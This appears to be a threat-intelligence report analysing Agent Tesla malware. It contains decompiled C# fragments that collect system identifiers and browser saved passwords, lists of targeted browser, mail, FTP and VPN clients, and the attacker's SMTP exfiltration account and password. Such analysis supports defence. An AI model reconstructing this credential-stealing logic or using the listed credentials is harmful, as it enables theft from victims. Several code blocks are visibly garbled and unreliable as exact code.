



# AGENT TESLA

**TECHNICAL ANALYSIS REPORT** 



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#### Introduction

Agent Tesla has recently been identified as a widely used malware that poses serious information security risks. This report provides an analysis of Agent Tesla malware and highlights potential threats to organisations or end users.


Agent Tesla operates as a remote access tool (RAT) that runs on users' computers without authorisation. This malware is usually spread via malicious email attachments or malicious websites and hijacks victims' computers.

The main functions of Agent Tesla include recording keyboard input, taking screenshots, collecting system information, and executing remote commands. This allows attackers to gain access to victims' sensitive information and carry out malicious activities.

The report examines in detail the widespread use of Agent Tesla malware and its impact on victims.



### **Targeted Countries and Industries**



Agent Tesla malware is a comprehensive cyber threat that targets many countries and industries around the world. This malware usually prioritises certain countries and sectors in its target selection, thereby creating various information security risks. Here are the countries and sectors targeted by Agent Tesla:

- United States of America (USA): Agent Tesla frequently targets organisations in the US due to its wealth based on its vast economic and military potential.
- European Union Countries: Many countries in Europe are one of Agent Tesla's targets. The financial and technology sectors in Europe, as well as public institutions and the defence industry, can be exposed to this threat.
- Asian Countries: Agent Tesla's targets in Asia include countries such as China, India, South Korea and Japan. The economic importance of these countries and their advances in technology provide attractive targets for attackers.
- Middle East Countries: The energy, finance and defence sectors in the Middle East are also among
  the targets of Agent Tesla software. Countries such as Turkey, Saudi Arabia, the United Arab
  Emirates and Qatar are the regions most frequently exposed to this threat.

Agent Tesla targets various sectors in attacks. Sectors that Agent Tesla software usually targets:

- Finance
- Health
- Technology
- Production
- Energy
- Government
- Defence



# **Technical Analysis**

#### DHL9407155789.exe

| SHA256 | 7beb85da1bc8b1c935309f219347d8534a77ba114ca4217bd60f98b4ad05836e |
|--------|--|
| MD5    | 67123970b3085df844bfa5670d0e156c                                 |
| Doysa  | PE32-EXE   |
| Türü   |  |

When the malware is examined, it is seen that it is packaged. After it was manually unpacked, the analysis continued.

```
private static string n20Sy2SIS6()
{
   int num = 0;
   do
   {
      if (num == 0)
      {
            num = 1;
      }
   }
   while (num != 1);
   string result;
   try
   {
        string text = string.Empty;
        ManagementClass managementClass = new ManagementClass("win32_processor");
        ManagementObjectCollection instances = managementClass.GetInstances();
        foreach (ManagementObject managementObject in instances.Casi<ManagementObject>())
        {
            text = managementObject.Properties["processorID"].Value.ToString();
        }
        result = text;
   }
   catch
   {
        result = "71dfbba7-dfa6-4c0b-881b-6790489d8760";
        return result;
   }
}
```

ProcessorID information of the device is extracted.



Serial number information is being withdrawn.

```
/ate static string 📖()
int num = 0;
    if (num == 0)
        num = 1;
while (num != 1);
string result;
    ManagementClass managementClass = new ManagementClass("Win32_NetworkAdapterConfiguration");
    string text = string.Empty;
foreach (ManagementBaseObject managementBaseObject in managementClass.GetInstances())
        ManagementObject managementObject = (ManagementObject)managementBaseObject;
        if (text.Equals(string.Empty))
            if (Convert.ToBoolean(managementObject["IPEnabled"]))
                text = managementObject["MacAddress"].ToString();
            managementObject.Dispose();
        }
text = text.Replace(":", string.Empty);
    result = text;
    result = "320c4865-7e40-4c96-8ea7-d9c04cd13694";
return result;
```

It was observed that MAC address information was received.



```
olic static string VJ18Dc(MD5 UKWT5Es, string qiiR)
int num = 0;
StringBuilder stringBuilder;
 for (;;)
                                                      byte[] array;
     int num2;
                                                      if (num == 1)
     if (num == 8)
                                                          array = UKwT5Es.ComputeHash(Encoding.UTF8.GetBytes(qiiR));
         num2++;
                                                          num = 2;
                                                      if (num == 9)
        (num == 4)
                                                      goto IL_1B9;
     if (num == 3)
         num2 = 0;
                                                      if (num == 6)
         num = 4;
                                                          stringBuilder.Append("-");
                                                          num = 7;
     if (num == 2)
                                                      }
if (num == 7)
         stringBuilder = new StringBuilder();
       (num == 5)
                                                      if (num2 > array.Length - 1)
                                                          num = 10;
        (num == 0)
         num = 1;
       (num == 10)
                                                      stringBuilder.Append(array[num2].ToString("x2"));
                              stringBuilder.Append(array[num2].ToString("x2"));
                              if (num2 % 2 == 0 & num2 != array.Length - 1 & num2 > 0)
                                  num = 6:
                              goto IL_12B;
                          return stringBuilder.ToString().ToUpper();
```

The collected information is combined into a single text. This text is subjected to the MD5 hashing algorithm. The hash generated here will probably be used as the victim ID.



It was determined that the path of the AppData folder was taken and a file path was tried to be created.

```
if (num == 5)
{
    OSt34Jj5y.ThisComputerName = SystemInformation.UserName + "/" + SystemInformation.ComputerName;
    num = 6;
}
if (num == 0)
```

It was also found that the computer name and username information was withdrawn.



It was detected that a GET request was sent to https://api[.]ipify.org.

#### User Agent information:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0

```
// Token: 0x02000051 RID: 81
public class CgloDbwoYs
{
    // Token: 0x0600017B RID: 379 RVA: 0x000002ABE File Offset: 0x000000CBE
    public CgloDbwoYs(string _app, string _path, bool _enabled)
    {
        this.tpRbxW = _app;
        this.Qehp70 = _path;
        this.ZDOsIoDLsw = _enabled;
    }
}
```

With a class called CgloDbwoYs, it converts the information of the scanners into objects and keeps them in lists. This process adds effectiveness to the software during the data collection phase.

The targeted browser applications are as follows:

- PaleMoon
- CentBrowser
- Citrio
- Amigo
- Uran
- Coowon
- Comodo Dragon
- Postbox
- Firefox
- SeaMonkey
- Coccoc
- OIP Surf
- Thunderbird
- Chedot
- Yandex Browser
- Iridium Browser
- Kometa



- Elements Browser
- Edge Chromium
- BlackHawk
- Epic Privacy
- IceCat
- Chrome
- Torch Browser
- Liebao Browser
- Cool Novo
- Opera Browser
- CyberFox
- Sputnik
- Chromium
- Orbitum
- Brave
- 7Star
- 360 Browser
- K-Meleon
- Flock
- Vivaldi
- WaterFox
- Sleipnir 6
- IceDragon

```
// Token: 0x06000168 RID: 360 RVA: 0x0000029D2 File Offset: 0x000000BD2
public 4bRWSZ()

{
    this.WY2pFROT = new List<ccpo>();
    this.OCvU = new List<cHTE0Jlp9Qg>();
}

// Token: 0x06000169 RID: 361 RVA: 0x00018CD4 File Offset: 0x00016ED4
```

A list was found to have been created

```
// Token: 0x0200004F RID: 79
public class cHTE0Jlp9QG
{
    // Token: 0x0600016B RID: 363 RVA: 0x0000029F0 File Offset: 0x000000BF0
    public cHTE0Jlp9QG()
    {
        this.0Xpa8vU1 = "";
        this.dIktU = "";
        this.dIktU = "";
        this.4p9uoZ = "";
}

// Token: 0x0600016C RID: 364 RVA: 0x000002A24 File Offset: 0x00000C24
public cHTE0Jlp9QG(string host, string user, string pass, string app)
{
        this.4p9uoZ = host;
        this.MS0dzQ3H4H = user;
        this.dIktU = pass;
        this.dIktU = pass;
        this.0Xpa8vU1 = app;
}

// Token: 0x1700003D RID: 61
```

ECHO

The type of the generated list is a class named **cHTE0Jlp9QG**. When the features in this class are examined, it is thought that each of the stolen browser information is developed to be abstracted as an object.

The content of another list created is as follows:

- "IE/Edge"
- "UC Browser"
- "Safari for Windows"
- "QQ Browser"
- "Falkon Browser"
- "Flock Browser"
- "Outlook"
- "Windows Mail App"
- "The Bat!"
- "Becky!"
- "IncrediMail"
- "Eudora"
- "ClawsMail"
- "FoxMail"
- "Opera Mail"
- "PocoMail"
- "eM Client"
- "Mailbird"
- "FileZilla"
- "WinSCP"
- "CoreFTP"
- "Flash FXP"
- "FTP Navigator"
- "SmartFTP"
- "WS FTP"
- "FtpCommander"
- "FTPGetter"
- "OpenVPN"
- "NordVPN"
- "Private Internet Access"
- "Discord"
- "Trillian"
- "Psi/Psi+"
- "MysqlWorkbench"
- "Internet Downloader Manager"
- "JDownloader 2.0"



```
if (num == 5)
    if (!text.Contains("Profile"))
                                                                  if (!Directory.Exists(3Ardot))
                                                                      break;
    num = 11;
                                                                  num = 6;
   (num == 15)
                                                              if (num == 14)
                                                                  return list2;
   (num == 9)
                                                                 (num == 3)
                                                                  list.Add(3Ardot + "\\Login Data");
                                                                  num = 4;
int num2;
                                                              if (num == 7)
num2++;
num = 13;
                                                                  num2 = 0;
                                                                  num = 8;
if (num == 2)
                                                              if (num != 13)
    list.Add(3Ardot + "\\Default\\Login Data");
                                                                  goto IL_1D7;
   num = 3;
List<string> list2;
                                                                 (num2 >= directories.Length)
if (num == 11)
                                                                  num = 14;
    list2.Add(text + "\\Login Data");
    num = 12;
```

It was found that some files and folders belonging to the targeted browsers were controlled. These are

- logins
- \\Login Data
- Default\\Login Data
- Profile

The targeted browser knowledge areas are as follows:

- "origin\_url"
- "action\_url"
- "username element"
- "username value"
- "password\_element"
- "password\_value"
- "submit\_element"
- "signon realm"
- "date created"
- "blacklisted\_by\_user"
- "scheme"
- "password\_type"
- "times\_used"
- "form\_data"
- "display\_name"
- "icon\_url"
- "federation url"
- "skip\_zero\_click"



- "generation\_upload\_status"
- "possible\_username\_pairs"
- "id"
- "date\_last\_used"
- "moving blocked for"
- "date\_password\_modified"
- "sender\_email"
- "sender\_name"
- "date\_received"
- "sharing notification displayed"
- "keychain\_identifier"
- "sender\_profile\_image\_url"

The scanner information is analysed and then added to a list. The listed information exists as objects. Here is a sample list of data from the runtime:

```
| Signature | Sign
```



```
public string hnpTZjaN2f()
   int num = 0;
    string[] array;
    for (;;)
        if (num == 14)
            array[4] = "<br>Password: ";
            num = 15;
        if (num == 10)
            array[0] = "Host: ";
            num = 11;
        if (num == 3)
        if (num == 6)
           this.0Xpa8vU1 = string.Empty;
           num = 7;
        if (num == 0)
            num = 1;
        if (num == 19)
        if (num == 12)
            array[2] = "<br>Username: ";
            num = 13;
        if (num == 8)
```

The collected information is parsed from the object lists and converted into text format. The relevant format is as follows:

| ✓ array      | string[0x00000009]                      |
|--------------|---|
|              | "Host: "                                |
| <b>●</b> [1] | "https://www.facebook.com"              |
| <b>②</b> [2] | "<br>Username: "                        |
|              | "example.facebook.blblblbl@hotmail.com" |
| <b>②</b> [4] | "<br>Password: "                        |
| <b>②</b> [5] | "hgdskjapofjkdsl123456"                 |
| <b>②</b> [6] | "<br>Application: "                     |
| <b>②</b> [7] | "Firefox"                               |
|              | "<br>>"                                 |

Data merging operations were detected.

"Time: xx/xx/2024 xx:25:xx<br>User Name: userName<br>Computer Name: CompName<br>OSFullName: Microsoft Windows 10 Pro<br>CPU: 13th Gen Intel(R) Core(TM) iX-xxxH<br>RAM: 4095.05 MB<br/>VP>IP Address: xx.xx.xx.xx<br>"



It was determined that the collected data was sent to the mail address "johnjohnjohn[@]childs-plays[.]com". Other properties of the created Mail object are as follows:

SMTP server name: smtp.childs-plays.com
 SMTP sender: johnjohn[@]childs-plays[.]com
 SMTP reciever: johnjohn[@]childs-plays[.]com

Media type: text/html

SmtpSSL: falseSMTP port: 587

• **SMTP client username:** johnjohn[@]childs-plays[.]com

• **SMTP client password:**yuttrge7v





#### **YARA Rule**



# **Mitre Att&ck**

| Discovery                          | Credential<br>Access   | Defense<br>Evasion                                    | Collections                        | Command and Control  |
|------------------------------------|--|---|------------------------------------|----------------------|
| T1083 File and Directory Discovery | <u>Unsecured</u><br><u>Credentials:</u><br><u>Credentials In Files</u> | <u>T1406.002</u><br><u>Software</u><br><u>Packing</u> | T1005<br>Data From<br>Local System | T1102<br>Web Service |
| T1012<br>Query Registry            | T1552.001<br>Credentials<br>In Files                                   |   |                                    |                      |
| T1082<br>Information<br>Discovery  |  |   |                                    |                      |





